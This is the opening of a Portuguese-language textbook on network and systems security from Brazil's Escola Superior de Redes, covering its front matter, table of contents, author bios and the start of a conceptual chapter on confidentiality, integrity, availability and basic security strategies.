Você está na página 1de 270

O aluno aprenderá a implementar uma solução com- Segurança

LIVRO DE APOIO AO CURSO


de Redes

Segurança de Redes e Sistemas


pleta de proteção de redes, utilizando técnicas como
firewall, IDS, IPS e VPN. O amplo escopo de conceitos
abordados permitirá a aplicação das técnicas de auten-
ticação e autorização seguras, auditorias de segurança
e de requisitos de configuração segura de servidores
Linux e Windows. Após o curso, o aluno será capaz de
montar um perímetro seguro, aumentar a segurança
dos servidores da rede, realizar auditorias de segurança
e Sistemas
e implantar sistemas de autenticação seguros.
Este livro inclui os roteiros das atividades práticas e o Ivo de Carvalho Peixinho
conteúdo dos slides apresentados em sala de aula,
apoiando profissionais na disseminação deste conheci- Francisco Marmo da Fonseca
mento em suas organizações ou localidades de origem.
Francisco Marcelo Lima

ISBN 978-85-63630-13-1

9 788563 630131
Segurança
de Redes
e Sistemas

Ivo de Carvalho Peixinho


Francisco Marmo da Fonseca
Francisco Marcelo Lima
Segurança
de Redes
e Sistemas

Ivo de Carvalho Peixinho


Francisco Marmo da Fonseca
Francisco Marcelo Lima

Rio de Janeiro
Escola Superior de Redes
2013
Copyright © 2013 – Rede Nacional de Ensino e Pesquisa – RNP
Rua Lauro Müller, 116 sala 1103
22290-906 Rio de Janeiro, RJ

Diretor Geral
Nelson Simões

Diretor de Serviços e Soluções


José Luiz Ribeiro Filho

Escola Superior de Redes


Coordenação
Luiz Coelho

Edição
Pedro Sangirardi

Revisão Técnica
Francisco Marcelo Lima

Coordenação Acadêmica de Segurança e Governança de TI


Edson Kowask

Equipe ESR (em ordem alfabética)


Celia Maciel, Cristiane Oliveira, Derlinéa Miranda, Elimária Barbosa, Lourdes Soncin,
Luciana Batista, Luiz Carlos Lobato, Renato Duarte e Sérgio Souza

Capa, projeto visual e diagramação


Tecnodesign

Versão
2.1.0

Este material didático foi elaborado com fins educacionais. Solicitamos que qualquer erro encon-
trado ou dúvida com relação ao material ou seu uso seja enviado para a equipe de elaboração de
conteúdo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e
Pesquisa e os autores não assumem qualquer responsabilidade por eventuais danos ou perdas, a
pessoas ou bens, originados do uso deste material.
As marcas registradas mencionadas neste material pertencem aos respectivos titulares.

Distribuição
Escola Superior de Redes
Rua Lauro Müller, 116 – sala 1103
22290-906 Rio de Janeiro, RJ
http://esr.rnp.br
info@esr.rnp.br

Dados Internacionais de Catalogação na Publicação (CIP)

W380p PEIXINHO, Ivo de Carvalho


Segurança de Redes e Sistemas/ Ivo de Carvalho Peixinho. – Rio de Janeiro: RNP/ESR, 2013.
268 p. : il. ; 27,5 cm.

Bibliografia: p. 251.
ISBN 978-85-63630-13-1

1. Planejamento estratégico – Processamento de dados. 2. Sistemas de informação


gerencial. 3. Tecnologia da informação – gestão. I. Título.

CDD 658.4012
Sumário

1. Fundamentos de segurança
Introdução 1

Exercício de nivelamento 1 – Fundamentos de Segurança 2

Conceitos básicos de segurança 2

Exercício de fixação 1 – Conceitos 6

Processo de Tratamento de Resposta a Incidentes 6

Ciclo de vida de um incidente 7

Grupos de resposta a incidentes 8

Exercício de fixação 2 – Processo de tratamento de incidentes 11

Exercício de fixação 3 – Grupo de resposta a incidentes 11

Normas ISO/ABNT 11

Políticas de segurança 13

Exercício de fixação 4 – Políticas de segurança 15

Planejando uma rede segura 16

Roteiro de Atividades 1 17

Atividade 1 – Exercitando os fundamentos de segurança 17

Atividade 2 – Normas de segurança 17

Atividade 3 – Política de segurança 17

Atividade 4 – Configuração inicial do laboratório prático 18

2. Explorando vulnerabilidades em redes


Introdução 21

Exercício de nivelamento 1 – Explorando vulnerabilidades em redes 21

Penetration Test 21

iii
Exercício de fixação 1 – Penetration Test 24

Exercício de fixação 2 – Packet sniffing 24

Nmap 24

Exercício de fixação 3 – Nmap 27

Hping 27

Exercício de fixação 3 – IP Spoofing 34

Exercício de fixação 4 – DoS 34

Alguns tipos de ataques 34

Exercício de fixação 5 – Alguns tipos de ataque 37

Roteiro de Atividades 2 45

Atividade 1 – Realizando ataques de protocolos 45

Atividade 2 – Levantando os serviços da máquina alvo com Nmap 46

Atividade 3 – Realizando um ataque com Metasploit 47

Atividade 4 – Realizando um ataque de dicionário com o Medusa 49

3. Firewall – Conceitos e Implementação


Introdução 51

Exercício de nivelamento 1 – Firewall 51

Firewall 52

Tecnologias de firewall 52

Exercício de fixação 1 – Filtros de pacotes 55

Exercício de fixação 2 – Servidores proxy 55

Topologias de firewall 55

Exercício de fixação 3 – Topologias de firewall 58

Exercício de fixação 4 – Screened Subnet 58

Implementação de firewalls 58

Netfilter (Iptables) 58

Implementação do Netfilter 59

Modo de operação do Netfilter 61

Exercício de fixação 5 – Netfilter 63

Controle perimetral  63

Tradução de IP (NAT) 65

Packet Filter (PF)  66

Firewall Builder 69

iv
Roteiro de Atividades 3 71

Atividade 1 – Filtros de pacotes 71

Atividade 2 – Topologias de firewall 71

Atividade 3 – Topologias de firewall 72

Atividade 4 – Filtro de pacotes 73

Atividade 5 – Controle de NAT 79

Atividade 6 – Gerenciamento gráfico do Firewall Builder  80

Atividade 7 – Identificando as regras do firewall 80

4. Serviços básicos de segurança


Introdução 81

Exercício de nivelamento 1 – Serviços básicos de segurança 81

Gerenciamento de logs 81

Syslog-ng 82

Exercício de fixação 1 – Gerenciamento de logs 85

Exercício de fixação 2 – Syslog 85

Logs do Windows 85

Exercício de fixação 3 – Logs do Windows 88

Exercício de fixação 4 – NTP 88

Monitoramento de serviços 89

Avaliação das ferramentas 92

Vantagens do Cacti 93

Roteiro de Atividades 4 95

Atividade 1 – Configuração do servidor de Syslog  95

Atividade 2 – Configuração do servidor de hora 97

Atividade 3 – Monitoramento de serviços 100

5. Detecção e prevenção de intrusos


Introdução 103

Exercício de nivelamento 1 – Detecção e prevenção de intrusos 103

Sistemas de Detecção de Intrusos (IDS) 103

Exercício de fixação 1 – IDS 105

Sistema de Prevenção de Intrusos (IPS) 105

Exercício de fixação 2 – IPS 106

v
Sistemas de Detecção de Intrusos em hosts (HIDS) 106

Exercício de fixação 3 – HIDS 107

Snort  107

Instalação do Snort 109

Configuração do Snort 112

Regras do Snort 113

Oinkmaster 114

Guardian: um Snort reativo 115

Snort-inline 115

HIDS 116

Roteiro de Atividades 5 117

Atividade 1 – Configuração básica do Snort 117

Atividade 2 – Atualização de regras 118

Atividade 3 – Bloqueio automático no firewall 119

Atividade 4 – Criando uma regra personalizada do Snort 119

6. Autenticação, Autorização e Certificação Digital


Introdução 121

Exercício de nivelamento 1 – Autenticação e autorização 121

Sistema AAA 121

Exercício de fixação 1 – Sistema AAA 123

Criptografia 123

Criptografia simétrica 124

Criptografia assimétrica 125

Tamanho das chaves 125

Algoritmos Hash 126

Modos de operação de algoritmos criptográficos 127

Exercício de fixação 2 – Criptografia 127

Exercício de fixação 3 – Algoritmos Hash 127

Certificados digitais 128

Obtendo certificado de usuário 128

Revogando o certificado do usuário 129

Exercício de fixação 4 – Certificados digitais 129

Gerenciamento de senhas 129

Sistema de senhas Linux 130

vi
Valor do SALT 131

Exercício de fixação 5 – Sistema de senhas Linux 132

Exercício de fixação 6 – SALT 132

Sistema de senhas Windows 132

Administrando as senhas 133

Exercício de fixação 7 – Sistema de senhas no Windows 134

Sistemas de Autenticação Única 134

OTP 134

S/Key 134

Smart Card 135

Servidores de diretório: LDAP 136

Serviço de diretório 136

Exercício de fixação 8 – LDAP 137

Exercício de fixação 9 – Serviço de diretórios 137

Tipos de informação 137

Protocolo Kerberos  137

Acesso a serviços em uma rede 140

Benefícios do Kerberos 140

Organização do Kerberos 141

Exercício de fixação 10 – Kerberos 141

Certificação digital 142

Trilhas de auditoria  142

Geração dos dados 142

Roteiro de Atividades 6 145

Atividade 1 – Utilização do sistema OTP S/Key 145

Atividade 2 – Configurando o serviço de autenticação Kerberos no Windows 2008 146

Atividade 3 – Uso do Cain & Abel para avaliar a segurança do sistema de autenticação 147

7. Redes Privadas Virtuais


Introdução 151

Exercício de nivelamento 1 – Redes Privadas Virtuais 151

VPN 151

Objetivos de uma VPN 152

VPN PPTP 153

L2TP  153

IPSec 154

Exercício de fixação 1 – VPN 155

vii
Exercício de fixação 2 – IPSec 156

Modos de operação do IPSec 156

Protocolos IPSec 157

Exercício de fixação 3 – IPSec 159

VPN SSL 159

Exercício de fixação 4 – VPN SSL 160

Implementação IPSec no Linux 160

Instalação do Openswan 160

Configuração do Openswan 162

Implementação de VPN SSL no Linux 164

Instalação do OpenVPN 165

Configuração do OpenVPN 166

Roteiro de Atividades 7 169

Atividade 1 – VPN IPSec 169

Atividade 2 – VPN SSL 171

Atividade 3 – Servidor VPN SSL para múltiplos clientes 176

8. Auditoria de Segurança da Informação


Introdução 181

Exercício de nivelamento 1 – Auditoria de Segurança da Informação 181

Análise de vulnerabilidades 182

Exercício de fixação 1 – Análise de vulnerabilidades 183

Instalação do Nessus 183

Auditoria com o Nessus 184

Exemplo de auditoria em firewall 187

Arquitetura do firewall 187

Testando o firewall 187

Testando as regras do firewall 188

Exercício de fixação 2 – Arquitetura do firewall 192

Exercício de fixação 3 – Testando o firewall 192

Alertas e registros 192

Roteiro de Atividades 8 195

Atividade 1 – Auditoria com Nessus 195

Atividade 2 – Auditoria sem filtros de pacotes 196

Atividade 3 – Auditoria do IDS 196

viii
Atividade 4 – Exemplo de auditoria 196

Atividade 5 – Utilizando o Nikto 197

Atividade 6 – Utilizando o Xprobe 197

Atividade 7 – Utilizando o THC-Amap 198

9. Configuração segura de servidores Windows


Introdução 199

Exercício de nivelamento 1 – Configuração segura de servidores Windows 199

Necessidade de configuração de um bastion host 200

Exercício de fixação 1 – Bastion host 200

Check-list 200

Configuração de filtros de pacotes 201

Exercício de fixação 2 – Configuração de filtros de pacotes 204

Criação de uma linha base de segurança (baseline) 204

Desabilitando serviços desnecessários 204

Exercício de fixação 3 – Baseline 207

Ferramentas de análise da segurança do Windows 207

WMIC 208

SYSInternals 208

WSUS 210

MBSA  210

Microsoft Security Compliance Manager 211

Exercício de fixação 4 – Microsoft Security Compliance Manager 214

Sistemas de arquivos e gerenciamento de usuários 214

Group Policy Objects 215

Exercício de fixação 5 – Group Policy Objects (GPO) 217

Políticas de usuários e de computador 217

Heranças de GPO 218

Diretivas de segurança local 219

Diretiva de senhas 219

Diretiva de auditoria 220

Atribuição de direitos de usuários 222

Opções de segurança 222

Roteiro de Atividades 9 225

Atividade 1 – Configuração segura de servidor 225

ix
Atividade 2 – Auditoria 226

Atividade 3 – Envio de log para servidor remoto 227

Atividade 4 – Controle de acesso ao sistema operacional 228

10. Configuração segura de servidores Linux


Introdução 229

Exercício de nivelamento 1 – Configuração segura de servidores Linux 230

Instalação do Linux 230

Desabilitando serviços desnecessários 231

Exercício de fixação 1 – Desabilitando serviços desnecessários 234

Pacotes e programas 234

Configuração segura de serviços 236

Exercício de fixação 2 – Configuração segura de serviços 237

Acessos administrativos 237

Exercício de fixação 3 – Acessos administrativos 239

Atualização do sistema operacional 239

Pacotes compilados 240

Sistema de arquivos proc 240

Roteiro de Atividades 10 243

Atividade 1 – Configuração segura de servidor 243

Atividade 2 – Auditoria 250

Atividade 3 – Ferramentas e mecanismos para monitoramento 250

Atividade 4 – Ferramentas de segurança 250

Bibliografia  251

x
Escola Superior de Redes
A Escola Superior de Redes (ESR) é a unidade da Rede Nacional de Ensino e Pesquisa
(RNP) responsável pela disseminação do conhecimento em Tecnologias da Informação
e Comunicação (TIC).

A ESR nasce com a proposta de ser a formadora e disseminadora de competências em


TIC para o corpo técnico-administrativo das universidades federais, escolas técnicas e
unidades federais de pesquisa. Sua missão fundamental é realizar a capacitação técnica
do corpo funcional das organizações usuárias da RNP, para o exercício de competências
aplicáveis ao uso eficaz e eficiente das TIC.

A ESR oferece dezenas de cursos distribuídos nas áreas temáticas: Administração e Pro-
jeto de Redes, Administração de Sistemas, Segurança, Mídias de Suporte à Colaboração
Digital e Governança de TI.

A ESR também participa de diversos projetos de interesse público, como a elaboração


e execução de planos de capacitação para formação de multiplicadores para projetos
educacionais como: formação no uso da conferência web para a Universidade Aberta do
Brasil (UAB), formação do suporte técnico de laboratórios do Proinfo e criação de um con-
junto de cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).

A metodologia da ESR
A filosofia pedagógica e a metodologia que orientam os cursos da ESR são baseadas na
aprendizagem como construção do conhecimento por meio da resolução de problemas típi-
cos da realidade do profissional em formação. Os resultados obtidos nos cursos de natureza
teórico-prática são otimizados, pois o instrutor, auxiliado pelo material didático, atua não
apenas como expositor de conceitos e informações, mas principalmente como orientador do
aluno na execução de atividades contextualizadas nas situações do cotidiano profissional.

A aprendizagem é entendida como a resposta do aluno ao desafio de situações-problema


semelhantes às encontradas na prática profissional, que são superadas por meio de análise,
síntese, julgamento, pensamento crítico e construção de hipóteses para a resolução do pro-
blema, em abordagem orientada ao desenvolvimento de competências.

Dessa forma, o instrutor tem participação ativa e dialógica como orientador do aluno para as
atividades em laboratório. Até mesmo a apresentação da teoria no início da sessão de apren-
dizagem não é considerada uma simples exposição de conceitos e informações. O instrutor
busca incentivar a participação dos alunos continuamente.

xi
As sessões de aprendizagem onde se dão a apresentação dos conteúdos e a realização das
atividades práticas têm formato presencial e essencialmente prático, utilizando técnicas
de estudo dirigido individual, trabalho em equipe e práticas orientadas para o contexto de
atuação do futuro especialista que se pretende formar.

As sessões de aprendizagem desenvolvem-se em três etapas, com predominância de


tempo para as atividades práticas, conforme descrição a seguir:

Primeira etapa: apresentação da teoria e esclarecimento de dúvidas (de 60 a 90 minutos).


O instrutor apresenta, de maneira sintética, os conceitos teóricos correspondentes ao tema
da sessão de aprendizagem, com auxílio de slides em formato PowerPoint. O instrutor
levanta questões sobre o conteúdo dos slides em vez de apenas apresentá-los, convidando
a turma à reflexão e participação. Isso evita que as apresentações sejam monótonas e que
o aluno se coloque em posição de passividade, o que reduziria a aprendizagem.

Segunda etapa: atividades práticas de aprendizagem (de 120 a 150 minutos).


Esta etapa é a essência dos cursos da ESR. A maioria das atividades dos cursos é assín-
crona e realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades
proposto no livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar
dúvidas e oferecer explicações complementares.

Terceira etapa: discussão das atividades realizadas (30 minutos).


O instrutor comenta cada atividade, apresentando uma das soluções possíveis para
resolvê-la, devendo ater-se àquelas que geram maior dificuldade e polêmica. Os alunos são
convidados a comentar as soluções encontradas e o instrutor retoma tópicos que tenham
gerado dúvidas, estimulando a participação dos alunos. O instrutor sempre estimula os
alunos a encontrarem soluções alternativas às sugeridas por ele e pelos colegas e, caso
existam, a comentá-las.

Sobre o curso
O aluno aprenderá sobre perímetros de segurança, através da implementação de uma
solução completa de proteção de redes, utilizando técnicas como firewall, IDS, IPS e VPN.
O amplo escopo de conceitos abordados permitirá a aplicação das técnicas seguras de
autenticação e autorização, auditorias de segurança e requisitos de configuração de servi-
dores Linux e Windows. Após o curso, o aluno será capaz de montar um perímetro seguro,
aumentar a segurança dos servidores da rede, realizar auditorias de segurança e implantar
sistemas de autenticação seguros.

A quem se destina
Profissionais de TI que desejam adquirir ou atualizar os seus conhecimentos sobre segurança
de redes e sistemas a fim de garantir melhor aplicabilidade das práticas de segurança da
informação em suas organizações.

Convenções utilizadas neste livro


As seguintes convenções tipográficas são usadas neste livro:

Itálico
Indica nomes de arquivos e referências bibliográficas relacionadas ao longo do texto.

xii
Largura constante

Indica comandos e suas opções, variáveis e atributos, conteúdo de arquivos e resultado da


saída de comandos.

Conteúdo de slide
Indica o conteúdo dos slides referentes ao curso apresentados em sala de aula.

Símbolo
Indica referência complementar disponível em site ou página na internet.

Símbolo
Indica um documento como referência complementar.

Símbolo
Indica um vídeo como referência complementar.

Símbolo
Indica um arquivo de aúdio como referência complementar.

Símbolo
Indica um aviso ou precaução a ser considerada.

Símbolo
Indica questionamentos que estimulam a reflexão ou apresenta conteúdo de apoio ao
entendimento do tema em questão.

Símbolo
Indica notas e informações complementares como dicas, sugestões de leitura adicional ou
mesmo uma observação.

Permissões de uso
Todos os direitos reservados à RNP.
Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra.
Exemplo de citação: PEIXINHO, Ivo. Segurança de Redes e Sistemas. Rio de Janeiro: Escola
Superior de Redes, 2013.

Comentários e perguntas
Para enviar comentários e perguntas sobre esta publicação:
Escola Superior de Redes RNP
Endereço: Av. Lauro Müller 116 sala 1103 – Botafogo
Rio de Janeiro – RJ – 22290-906
E-mail: info@esr.rnp.br

xiii
Sobre os autores
Ivo de Carvalho Peixinho é Bacharel em Ciência da Computação pela UFBA e Especialista
em Gestão de Segurança da Informação pela UnB. Possui mais de 15 anos de experiência
na área de Segurança da Informação. Foi Diretor Técnico na XSite Consultoria e Tecnologia,
Analista de Suporte na Universidade Federal da Bahia. Em 2004 atuou como Analista de
Segurança Sênior no CAIS/RNP por dois anos e atualmente é Perito Criminal Federal do
Departamento de Polícia Federal desde 2007, lotado atualmente no Serviço de Repressão a
Crimes Cibernéticos - SRCC/CGPFAZ/DICOR/DPF. É professor de pós-graduação nas discipli-
nas de Análise Forense em Sistemas UNIX e Análise de Malware e é palestrante em diversos
eventos nacionais e internacionais como GTS, Seginfo, CNASI, ICCyber e FIRST.

Francisco Marmo da Fonseca é bacharel em Engenharia da Computação pelo Instituto de


Educação Superior de Brasília e pós-graduando em Perícia Digital pela Universidade Cató-
lica de Brasília. Iniciou sua atuação em Redes como bolsista pesquisador do Projeto de Pes-
quisa REMAV-GO (1997-1999), financiado pela RNP e CNPq. Possui 14 anos de experiência
na área de Redes de Computadores, atua como engenheiro consultor de Redes há 5 anos,
sendo os últimos 3 anos na Layer2 do Brasil em clientes como Departamento de Polícia
Federal, IG e Oi. Tem passagens pela Serasa (2006-2008) como consultor no Banco Central
na Rede do Sistema Financeiro Nacional, e na Brasil Telecom (2002-2007) como analista de
Operações de Redes IP.

Francisco Marcelo Lima é certificado Project Management Professional (PMP) e Modulo


Certified Security Officer (MCSO), Mestre em Engenharia Elétrica pela Universidade de Bra-
sília (2009), Mestre em Liderança pela Universidade de Santo Amaro (2007) e pós-graduado
em Segurança de Redes de Computadores pela Universidade Católica de Brasília (2003).
Atualmente exerce as funções de Coordenador dos Cursos de Redes de Computadores e
Segurança da Informação do IESB e Analista em TI do MPOG cedido para a Controladoria-
-Geral da União/PR. Atua, também, como instrutor/revisor dos cursos de segurança e
redes na RNP e instrutor/revisor dos cursos de planejamento estratégico (PDTI) e gestão de
contratos de TI (GCTI) na ENAP. Possui mais de 15 anos de experiência na área de Ciência
da Computação com ênfase em Segurança da Informação, Redes e Construção de Software
tendo exercido funções como: Coordenador Geral de TI do INCRA (DAS 4); Coordenador
do Curso de Segurança da Informação da Faculdade Rogacionista; Coordenador do Curso
de Processamento de Dados e Segurança da Informação da Faculdade AD1, Analista em
Segurança da empresa Módulo Security Solutions.

Edson Kowask Bezerra é profissional da área de segurança da informação e governança


há mais de quinze anos, atuando como auditor líder, pesquisador, gerente de projeto e
gerente técnico, em inúmeros projetos de gestão de riscos, gestão de segurança da informa-
ção, continuidade de negócios, PCI, auditoria e recuperação de desastres em empresas de
grande porte do setor de telecomunicações, financeiro, energia, indústria e governo. Com
vasta experiência nos temas de segurança e governança, tem atuado também como pales-
trante nos principais eventos do Brasil e ainda como instrutor de treinamentos focados em
segurança e governança. É professor e coordenador de cursos de pós-graduação na área de
segurança da informação, gestão integrada, de inovação e tecnologias web. Hoje atua como
Coordenador Acadêmico de Segurança e Governança de TI da Escola Superior de Redes.

xiv
1
Fundamentos de segurança
objetivos

Apresentar ao aluno fundamentos de segurança como estratégias, estágios do ciclo de


vida de incidentes, grupos de resposta a incidentes e normas de políticas de segurança.

conceitos
Confidencialidade, integridade, disponibilidade, autenticidade, legalidade, não repúdio
e privacidade, entre outros.

Introdução
A Segurança da Informação (SI) é uma área em constante evolução, que se desenvolveu muito
nos últimos anos, com a criação de normas e certificações internacionais e aumento expres-
sivo no número de profissionais dedicados. O profissional que pretende atuar nessa área deve
estar ciente de que ela é bastante dinâmica e envolve diversos setores da computação, como
programação e desenvolvimento de sistemas, redes de computadores, sistemas operacionais
e bancos de dados, entre outras. Quanto mais conhecimento o profissional de SI possuir, mais
capacidade terá de desempenhar seu papel. Apesar de todos esses avanços, a SI ainda é uma
área nova, e a cada dia novas subáreas e conceitos são descobertos e incorporados.

Para este curso, considera-se que o aluno completou o curso de Introdução à Segurança de Redes
e já possui uma noção sobre segurança de redes, incluindo a família de protocolos TCP/IP, além
de noções de administração de servidores Linux e Windows. Este curso terá enfoque mais
prático, com foco na área de redes e sistemas operacionais. Ao final do curso, o aluno deve ser
capaz de compreender e utilizar os conceitos e ferramentas de segurança de redes, de modo
a projetar e configurar uma rede com um nível de segurança aceitável, além de ser capaz de
aumentar o nível de segurança dos sistemas operacionais mais utilizados no mercado, através
de configurações mais seguras dos sistemas e serviços destes sistemas operacionais.
Capítulo 1 - Fundamentos de segurança

Por fim, é importante que o aluno tenha consciência de que este é um curso prático e
progressivo, com atividades práticas fundamentais e interdependentes, de modo que uma
atividade de um capítulo é pré-requisito para as atividades dos capítulos seguintes. O aluno
deve investir nas atividades práticas para finalizá-las completamente, caso contrário poderá
não obter o aproveitamento desejado.

1
Exercício de nivelamento 1 e
Fundamentos de Segurança
O que você entende por segurança da informação?

Como sua organização trata a área de segurança da informação?

Conceitos básicos de segurança


O profissional de segurança deve ter sempre em mente alguns conceitos básicos, que
nortearão o seu trabalho no dia a dia. Ele deve pensar de forma diferente do tradicional,
pois para ele não é suficiente apenas o recurso ou serviço estar funcionando: é preciso estar
funcionando de forma segura. Podemos citar como exemplo o desenvolvimento de uma
aplicação web. Neste exemplo dispomos de diversos componentes que devem funcionar de
forma integrada. Podemos citar então:

11 Servidores físicos (hardware). q


11 Sistemas operacionais dos servidores.

11 Servidor de aplicação.

11 Servidor HTTP.

11 Aplicação web.

11 Servidor de banco de dados.

11 Segurança do hardware dos servidores.

11 Segurança do sistema operacional.

11 Segurança da aplicação através de testes de penetração.

11 Segurança da rede de comunicação.

Aqui estamos tratando de um exemplo didático, pois uma aplicação comercial em produção
poderá ter outros componentes, como redundância, sistemas de gerenciamento, sistemas
de avaliação de desempenho das aplicações e ambientes de virtualização, entre outros.

Para o desenvolvedor, a preocupação maior é com o bom funcionamento da aplicação. Hoje


existem alguns padrões de desenvolvimento seguro, boas práticas e informações sobre os
problemas de segurança mais comuns desse tipo de aplicação. Porém, o desenvolvedor nor-
malmente possui prazos a cumprir e nem sempre possui experiência suficiente no desen-
Segurança de Redes e Sistemas

volvimento de código seguro. A equipe de suporte possui a preocupação de alocar recursos


suficientes para a operação da aplicação, de acordo com a carga esperada. A equipe de
homologação e testes muitas vezes está apenas preocupada com o bom funcionamento da
aplicação em condições normais de operação. O profissional de segurança, por outro lado,
está preocupado com a segurança da aplicação, o que envolve a segurança de cada um dos
componentes envolvidos:

11 Segurança do hardware dos servidores, com garantia de fornecimento de energia através


de fontes redundantes, nobreaks, geradores e até servidores redundantes.

2
11 Segurança do sistema operacional, do servidor de aplicação e do servidor web, através
da configuração segura, retirada de serviços desnecessários, aplicação das últimas corre-
ções de segurança do fabricante, filtragem de portas desnecessárias, entre outros.

11 Segurança da aplicação através de testes de penetração, avaliação das possíveis vulnera-


bilidades, análise do código, entre outros.

11 Segurança da rede de comunicação, com avaliação da possibilidade de ataques de


negação de serviço pela rede, ataques a protocolos, entre outros.

O profissional de segurança deve ter uma formação diversificada: q


11 Segurança de redes wireless.

11 Testes de invasão (pentest).

11 Análise forense computacional.

11 Tratamento de incidentes de segurança.

11 Desenvolvimento de aplicações seguras.

11 Segurança de aplicações.

O profissional de segurança deve ter profundo conhecimento em questões de segurança


física de computadores, segurança de sistemas operacionais, serviços e aplicações web,
atuando com responsabilidade e sempre buscando níveis mais profundos de conhecimento.

Atualmente, com o aumento da complexidade dos sistemas de informação, está cada vez
mais difícil um único profissional abranger todo esse conhecimento, de forma que começam
a surgir profissionais especializados em determinadas áreas da segurança. Áreas como
segurança de redes wireless, testes de invasão (pentest), análise forense computacional, tra-
tamento de incidentes de segurança e desenvolvimento de aplicações seguras são apenas
alguns exemplos de especializações encontradas no mercado nos dias de hoje.

Entre os conhecimentos que um profissional de segurança deve possuir, talvez o conceito


mais básico corresponda à sigla CID (Confidencialidade, Integridade e Disponibilidade), que é
derivada do inglês CIA (Confidentiality, Integrity and Availability). Ela é o pilar de toda a área
Incidente de segurança de SI, de modo que um incidente de segurança é caracterizado quando uma dessas áreas é
Pode ser definido afetada. A seguir, veremos em detalhes cada um desses itens.

q
como qualquer evento
adverso, confirmado ou Fundamentos de segurança:
sob suspeita, relacio-
nado à segurança de 11 Confidencialidade.
sistemas de compu- 11 Integridade.
tação ou de redes de
computadores. 11 Disponibilidade.

A Confidencialidade é um termo diretamente ligado à privacidade de um recurso. Um


recurso deve estar acessível apenas para a pessoa ou grupo que foi definido como usuário
Capítulo 1 - Fundamentos de segurança

autorizado para dispor daquele acesso, e nenhum outro. Por exemplo, as notas de um aluno
devem ser acessadas somente pelo aluno, pelos professores das disciplinas cursadas por ele
e pela equipe de registro acadêmico.

O termo Integridade possui duas definições: a primeira relacionada com o fato da infor-
mação ter valor correto; por exemplo, no resultado da correção de uma prova, a nota obtida
foi avaliada por um professor com conhecimento da disciplina, e portanto apto para julgar
o conteúdo. A segunda definição está ligada à inviolabilidade da informação, ou seja, a nota
não pode ser alterada sem justificativa e por meio controlado. A nota não pode “sumir” ou
ser simplesmente alterada.

3
O termo Disponibilidade está relacionado ao acesso à informação, que pode ser contro-
lada ou não, e disponível quando necessária. Um ataque de negação de serviço pode, por
exemplo, evitar o acesso à informação, afetando a disponibilidade.

É importante notar que a disponibilidade e a integridade podem ser medidas de


forma simples, visto que elas são perceptíveis pelos usuários da informação. A confi-
dencialidade, por outro lado, pode ser quebrada sem que se tenha conhecimento do
fato, pois a simples visualização de uma informação por um usuário não autorizado
não necessariamente altera essa informação. Daí a importância da auditoria, onde
são analisados os registros de acesso de determinada informação, com o objetivo de
verificar se houve acesso indevido. A auditoria será tratada no capítulo 8.

Observe, ainda, que existem três dimensões completamente distintas: duas delas, a
confidencialidade e a integridade, são valores boolianos: ou a informação se manteve
confidencial ou não; ou a informação se manteve íntegra ou não. A terceira é um número
real entre 0 e 1, podendo ser calculada pela própria definição. Duas podem ser monito-
radas e medidas: a integridade e a disponibilidade. Não temos como saber se um dado
perdeu confidencialidade.

Conceitos auxiliares: q
11 Autenticidade.

11 Legalidade.

11 Não repúdio.

11 Privacidade.

A literatura moderna inclui ainda mais alguns conceitos, que muitas vezes são considerados
auxiliares aos três já listados. São eles:

11 Autenticidade: garantia de que uma informação, produto ou documento foi elaborado


ou distribuído pelo autor a quem se atribui.

11 Legalidade: garantia de que ações sejam realizadas em conformidade com os preceitos


legais vigentes e que seus produtos tenham validade jurídica.

11 Não repúdio: conceito muito utilizado quando tratamos de certificação digital, onde o
emissor de uma mensagem não pode negar que a enviou. As tecnologias de certificação
digital e assinatura digital são exemplos que propiciam essa condição.

11 Privacidade: conceito amplo, que expressa a habilidade de um indivíduo em controlar a


exposição e a disponibilidade de informações acerca de si. Com o crescimento dos meca-
nismos de busca, bancos de dados e informações publicadas na internet e redes sociais,
esse conceito tem sido muito discutido em fóruns específicos. Um exercício interessante
Segurança de Redes e Sistemas

que o aluno pode realizar é buscar o seu próprio nome no site de buscas do Google.

É comum nos referirmos a esse conjunto de conceitos básicos como CID ou CIDAL,
que corresponde às iniciais de alguns dos conceitos apresentados. A sigla DICA ainda
é usada em referência aos quatro primeiros conceitos.

Além dos conceitos apresentados acima, o livro Building Internet Firewalls, de Elizabeth D.
Zwicky, Simon Cooper e D. Brent Chapman (editora O’Reilly), define ainda outros conceitos,
denominados de estratégias de segurança.

4
11 Least Privilege (Menor Privilégio). q
11 Defense in Depth (Defesa em Profundidade).

11 Choke Point (Ponto Único).

11 Default Deny & default Permit Stance (Atitude de Bloqueio Padrão e Permissão Padrão).

11 Universal Participation (Participação Universal).

11 Diversity of Defense (Diversidade de Defesa).

11 Inherent Weakness (Fraquezas Inerentes).

11 Common configuration(Configuração Comum).

11 Common Heritage (Herança Comum).

11 Weakest Link (Elo mais Fraco).

11 Fail Safe (Falha Segura).

11 Simplicity (Simplicidade).

Esses conceitos são muito importantes, e o profissional de segurança deve sempre tê-los em
mente no seu dia a dia:

11 Least Privilege (Menor Privilégio): cada objeto deve ter apenas os privilégios mínimos
para executar suas tarefas, e nenhum outro. Apesar de muito importante, é difícil aplicar
esse conceito, pois muitas vezes ele envolve uma série de ajustes e um mínimo erro
pode fazer com que o recurso pare de funcionar. Como exemplo, podemos citar um
servidor web. Executar o processo do servidor como o usuário administrador provavel-
mente fornecerá uma série de privilégios desnecessários a ele. Nesse caso, convém criar
um usuário específico (ex: httpd) e definir as permissões mínimas para que o serviço
funcione. Por exemplo: permissão de leitura na pasta onde ficam as páginas HTML e per-
missão de leitura e gravação na pasta onde ficam os registros de acesso.

11 Defense In Depth (Defesa em Profundidade): não depender de um único mecanismo


de segurança, independente do quão forte ele possa parecer. Não existe nenhum meca-
nismo 100% seguro, então qualquer mecanismo pode ser subvertido. Colocar defesas
redundantes pode ser uma boa estratégia, pois um atacante, ao passar por suas defesas
mais externas, ainda terá outras camadas de defesa para ultrapassar antes de compro-
meter o sistema como um todo.

11 Choke Point (Ponto Único): canal estreito por onde os atacantes são forçados a passar,
que pode ser monitorado e controlado. Exemplos: praça de pedágio em uma estrada,
caixa de supermercado. Esse é o princípio utilizado pelos firewalls.

11 Default Deny e Default Permit Stance (Atitude de Bloqueio Padrão e Permissão Padrão):
atitude geral em relação à segurança. Na primeira (mais segura), tudo é proibido e o que é
